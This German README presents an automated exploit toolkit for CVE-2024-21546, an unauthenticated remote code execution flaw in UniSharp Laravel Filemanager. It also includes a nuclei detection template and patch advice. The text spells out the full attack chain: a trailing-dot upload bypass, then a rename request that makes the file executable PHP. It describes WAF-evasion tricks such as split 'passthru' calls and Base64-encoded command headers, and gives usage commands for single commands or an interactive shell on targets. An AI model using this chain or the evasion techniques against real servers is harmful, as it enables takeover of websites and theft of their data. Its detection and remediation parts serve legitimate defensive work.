
Automatisiertes Exploit-Toolkit und Erkennungsvorlage für CVE-2024-21546, eine nicht authentifizierte RCE in UniSharp Laravel Filemanager, mit WAF-Umgehung und interaktiver Shell.
Dieses Repository enthält Sicherheitsbewertungswerkzeuge, Erkennungsvorlagen und ein automatisiertes Exploit-Toolkit zur Identifizierung und Ausnutzung von Unauthenticated Remote Code Execution (RCE) in Anwendungen, die das Paket UniSharp/laravel-filemanager (Versionen < 2.9.1) verwenden.
laravel-filemanager.yaml)
cve_2024_21546_rce.py)
Die Schwachstelle resultiert aus zwei kombinierten Bedingungen:
/laravel-filemanager-Routen, ohne die 'auth'- oder 'web'-Middleware-Pipeline anzuwenden..) nicht ordnungsgemäß, sodass Angreifer Blocklisten für ausführbare Dateien umgehen und PHP-Skripte im öffentlichen Speicher platzieren können.LfmUploadValidator.php)In Versionen vor v2.9.1 prüfte LfmUploadValidator.php Dateierweiterungen gegen eine Blockliste mit:
public function extensionIsNotExcutable($unallowed_extensions)
{
$extension = strtolower($this->file->getClientOriginalExtension());
if (in_array($extension, $unallowed_extensions)) {
throw new \Exception('File extension is not allowed.');
}
return $this;
}
Wenn ein Angreifer eine Datei namens poc.php. hochlädt:
getClientOriginalExtension() extrahiert Zeichen nach dem letzten Punkt.getClientOriginalExtension() "" (leerer String).in_array("", ['php', 'html']) ergibt false und umgeht damit die Erweiterungsblockliste.Unter Windows und bestimmten Speichertreibern wird die Datei als erweiterungsloser Hash (<hash>) gespeichert. Der Exploit verkettet LFM's RenameController (GET /laravel-filemanager/rename?file=<hash>&new_name=runner.php), um die hochgeladene Payload in eine aktive .php-Datei umzubenennen, was eine sofortige Web-Ausführung unter /storage/app/public/file-manager-files/items/runner.php ermöglicht.
laravel-filemanager.yaml)Die Upstream-Community-Vorlage (http/exposed-panels/laravel-filemanager.yaml) (https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposed-panels/laravel-filemanager.yaml) basierte auf einem fest codierten englischen String-Matcher:
matchers:
- type: word
words:
- "Laravel FileManager" # Schlägt bei lokalisierten Bereitstellungen oder nicht-englischen Versionen fehl
Wenn Anwendungen lokalisiert sind (z. B. Arabisch, Französisch, Chinesisch), ist der englische String nicht im HTML-Body vorhanden, was zu falsch-negativen Ergebnissen führt.
Die modernisierte Vorlage erkennt das Panel durch Abgleich unveränderlicher Vendor-Asset-Pfade und Upload-Formularaktionen:
id: laravel-filemanager
info:
name: Laravel File Manager - Panel Detect
author: digitalsurgn
severity: critical
description: Laravel File Manager panel was detected.
reference:
- https://github.com/UniSharp/laravel-filemanager
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
cwe-id: CWE-200
metadata:
max-request: 1
tags: panel,laravel,filemanager,fileupload,intrusive
http:
- method: GET
path:
- "{{BaseURL}}/laravel-filemanager?type=Files"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "vendor/laravel-filemanager"
- "laravel-filemanager/upload"
condition: or
- type: status
status:
- 200
nuclei -u https://target.com/ -t laravel-filemanager.yaml
cve_2024_21546_rce.py)Das eigenständige Python-Tool (cve_2024_21546_rce.py) automatisiert die End-to-End-Unauthenticated-Ausnutzung mit integrierter WAF-Umgehung und Selbstreinigungs-Hygiene.
/laravel-filemanager ohne Authentifizierung zugänglich ist, bevor ein Exploit-Versuch unternommen wird.jsonitems), um den hochgeladenen Hash zu identifizieren, ohne auf fest codierte Ordner- oder Dateinamen angewiesen zu sein.<?=), dynamische Funktionsaufrufe (('pas'.'sthru')) und Base64-codierte X-Cmd-Header, um Inspektionsregeln zu umgehen.--interactive).python3 cve_2024_21546_rce.py [OPTIONEN]
python3 cve_2024_21546_rce.py
python3 cve_2024_21546_rce.py -t xyz.com -c "whoami"
python3 cve_2024_21546_rce.py -t 10.10.10.50 -p 8080 --interactive
unisharp/laravel-filemanager auf Version 2.9.1 oder höher über Composer:
composer update unisharp/laravel-filemanager
config/lfm.php durch Authentifizierung geschützt sind:
'middlewares' => ['web', 'auth'],
.php-Skripten in öffentlichen Upload-Verzeichnissen (z. B. /storage/) zu verweigern.| Metrik | Details |
|---|
| Name der Schwachstelle | UniSharp Laravel Filemanager Unrestricted File Upload zu RCE |
| CVE-Kennung | CVE-2024-21546 |
| Betroffene Komponente | unisharp/laravel-filemanager (< 2.9.1) |
| Allgemeine Schwäche | CWE-94 (Code Injection) / CWE-434 (Unrestricted Upload) |
| Schweregrad | Kritisch (CVSS 9.8) |
| Angriffsvektor | Remote / Unauthenticated HTTP |
| Flag | Parameter | Beschreibung |
|---|
-t, --target | <host> | Ziel-Domain oder IP-Adresse (z. B. example.com oder 192.168.1.50). |
-p, --port | <port> | Ziel-Port, falls abweichend von Standard 80/443 (z. B. 8080, 8443). |
--scheme | http / https | Protokollschema explizit angeben (Standard: automatisch erkannt). |
-c, --cmd | <command> | Einzelner auszuführender Befehl (z. B. whoami, id, ipconfig). |
-i, --interactive | Flag | Startet eine interaktive Befehlsausführungs-Shell. |
-d, --dir | <path> | Ziel-LFM-Arbeitsverzeichnis (Standard: /items). |